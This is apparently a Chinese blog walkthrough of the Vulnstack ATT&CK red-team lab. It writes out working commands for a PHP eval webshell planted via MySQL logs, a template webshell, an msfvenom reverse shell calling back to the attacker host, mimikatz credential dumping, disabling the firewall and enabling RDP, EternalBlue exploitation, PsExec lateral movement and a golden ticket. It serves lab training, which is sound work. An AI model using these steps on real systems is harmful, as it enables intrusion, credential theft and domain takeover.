Vulnstack—-1、ATT&CK红队评估实战靶场一

  • Post author:
  • Post category:其他





一、环境搭建



1、项目地址



http://vulnstack.qiyuanxuetang.net/vuln/detail/2/




2、环境拓扑




3、网络配置信息




攻击机:





192.168.144.128





win7 web服务器





外网ip:192.168.144.132




内网IP:192.168.52.143






win2008 DC域控





内网ip:192.168.52.138





win2k3 域成员





内网ip:192.168.52.141




域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XX/24 网段:



二、web漏洞利用




1、信息收集


arp-scan -l
web服务器外网地址:192.168.144.132

nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.144.1/24  

nmap -T4 -A 192.168.144.132 -p 1-65535 -oN nmap.A

dirsearch -u http://192.168.144.132

发现备份文件:

http://192.168.144.132/beifen.rar




信息收集结果:


1、ip地址:192.168.144.132


2、开放端口号


3、敏感目录:http://192.168.144.132/phpMyadmin


4、发现yxcms:http://192.168.144.132/yxcms






2、漏洞利用




漏洞一:mysql数据库写入木马获取shell




1.访问

192.168.144.132

,尝试

root:root

数据库用户名和密码,暂时无用。




2.访问

http://192.168.144.132/phpMyAdmin

,使用

root:root

登录尝试。



提示:




常见利用mysql获取shell的方法:

方法1:

select '一句话木马' into dumpfile/outfile '绝对路径'

。此方法条件:

①secure_file_priv变量非NULL,即数据库不限制文件的导入导出(使用

select @@secure_file_priv;

查看)、

②用户拥有root权限、

③知道当前网站的绝对路径。

方法2:利用日志文件。



3.利用日志文件获取shell,查看是否开启日志记录,

general_log=OFF


show variables like '%general%';




4.开启

geberal_log

日志读写功能

SET GLOBAL general_log='on'; SHOW VARIABLES LIKE '%general%';




5.根据图中

general_log_file

中的绝对路径,上传木马文件

SET GLOBAL general_log_file='C:/www/shell.php'
SELECT '<?php eval($_POST["cmd"]);?>'




6.使用蚁剑连接:

http://192.168.144.132/shell.php





漏洞二:利用网站后台模板获取webshell




1.访问http://192.168.144.132/yxcms,得到

后台地址及默认账号密码






2.前台模板功能可以编辑php文件



3.在acomment.php写入一句话木马



4.通过备份文件获取acomment.php文件地址,

http://192.168.144.132/yxcms/protected/apps/default/view/default/acomment.php





5.利用蚁剑连接




三、权限维持




方法1.CS上线




1.生成windows后门



2.配置内置http监听器



3.利用蚁剑上传windows后门文件



4.蚁剑执行后门文件,在CS客户端上线



5.提权





方法2.MSF远程监听




1.msfvenom生成反弹shell

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.144.128 lport=4444 -f exe -o shell.exe



2.通过蚁剑上传shell.exe



3.kali端实施监听

msfconsole
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.144.128
set LPORT 4444
run/exploit



4.蚁剑执行shell.exe



5.exkali端获取到shell




MSF和CS联动




1.CS设置监听器



#使用msf的如下模块
use exploit/windows/local/payload_inject 
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true 
set lhost 192.168.31.229
set lport 6666
set session 1	//传递会话的ID
exploit 





至此拿到了web服务器的system权限,拿到Win7的权限,接下来考虑的就是如何通过这台主机,可以搜集到本身和互通网段信息,并以此进行横向移动。





四、内网信息收集


内网信息收集常用命令:
ipconfig /all				#查看本机IP,所在域
route print					#打印路由信息
net view 					#查看局域网内其他主机名
arp -a 						#查看arp缓存
net start					#查看开启了哪些服务
net share					#查看开启了哪些共享
net share ipc$				#开启ipc共享
net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件


net config Workstation		#查看计算机名、全名、用户名、系统版本、工作组、域名、登录域
net user		#查看本机用户列表
net user /domain		#查看域用户
net localgroup administrators		#查看本地管理员组
net view /domain		#查看有几个域
net user 用户名 /domain		#获取指定域用户的信息
net group /domain		#查看域中的工作组,查看把用户分为了多少组
net group 组名 /domain		#查看域中某工作组
net group "domain admins" /domain		#查看域管理员的名字
net group "domain computers" /domain 	#查看域中的其他主机名
net group "domain controllers" /domain		#查看域控制器



1.查看主机信息:




shell ipconfig /all





2.查看有几个域,只有一个域GOD





net view /domain





3.查看域控制器主机名,域控制器主机名为OWA$





net group "domain controllers" /domain





4.查看局域网内其他主机





net view





5.CS视图




web IP

:192.168.144.132



win7 内网IP

:192.168.52.143



域成员ip

:192.168.52.141



域控ip

:192.168.52.138






6.

hashdump



派生一个任务注入进 LSASS 进程并 dump 当前系统中本地用户的密码哈希



7.

Mimikatz



从 lsass.exe 进程中获取当前登录系统用户名的密码。




8.凭据信息





9.rdp远程登录




通过注册表远程开启3389端口,并关闭win7防火墙

#通过注册表远程开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#关闭防火墙
netsh advfirewall set allprofiles state off 
#查看3389端口是否开放
netstat -an | find "3389"



使用

god\administrator/Test@123

进行远程登录



10.域成员和域控端口扫描



11.漏洞探测


通过蚁剑上传fscan探测主机是否存在漏洞,发现

MS17-010

fscan64.exe -h 192.168.52.0/24




信息收集结果


账号密码:Administrator Test@123


主机名:stu1


DNS:god.org


内网ip地址:192.168.52.143


域用户:dev1、root-tvi862ubeh


域控:OWA$


域管理员:Administrator


内网网段:192.168.52.0/24


域成员:192.168.52.141


域控制器:192.168.52.138


win7内网ip:192.168.52.143


192.168.52.143:存在MS17-010


192.168.52.138:存在MS17-010


192.168.52.141:存在MS17-010
















五、内网横向渗透





Win7权限已经拿下,通过Win7作为跳板机,横向渗透拿下内网域内的域控和域成员主机。






1.查看当前机器网段信息



2.添加目标内网路由



添加路由目的:让MSF可以访问内网其他主机




方法一:利用MS17-010拿下域控主机192.168.52.138




方法一:利用MS17-010拿下域控主机192.168.52.138



关闭win7防火墙


利用MS17-010拿下域控权限

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run 


use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.52.138
run




至此,已经拿到了192.168.52.138的服务器权限





方法二:PTH攻击(哈希传递攻击)获取域控权限



1.用Win7中转一个监听器SMB,监听地址为

Win7内网地址192.168.52.143





2.CS生成一个无状态木马:

beacon.exe




3.通过蚁剑将

beacon.exe



PsExec64.exe

上传到Win7主机。



然后远程登录win7在

bash下执行

如下命令




执行结果显示文件上传到了域控,但是执行失败

PsExec64.exe -accepteula \\192.168.52.138 -u administrator -p Test@123 -d -c beacon.exe



4.建立ipc管道,用psexec.exe连接cmd



这里密码到期了,从Test@123更改为Test@1234,对过程无影响

net use \\192.168.52.138\ipc$ "Test@1234" /user:god\administrator
PsExec64.exe -accepteula \\192.168.52.138 -s cmd.exe



5.执行beacon.exe




6.CS上线域控主机



7.使用

hashdump

获取到账户的NTLM值



8.使用

mimikatz

找到一个

合法的SID




9.

构造黄金票据

,使用之前获取的

SID



krbtgt hash




点击build,显示如下,则执行成功



10.mimikatz查看当前系统票据



11.执行net view 探测当前域中的主机



其中加粗代表已上线,未加粗代表未上线



12.加载票据访问,选择监听器后执行



192.168.52.141主机成功上线




版权声明:本文为sycamorelg原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。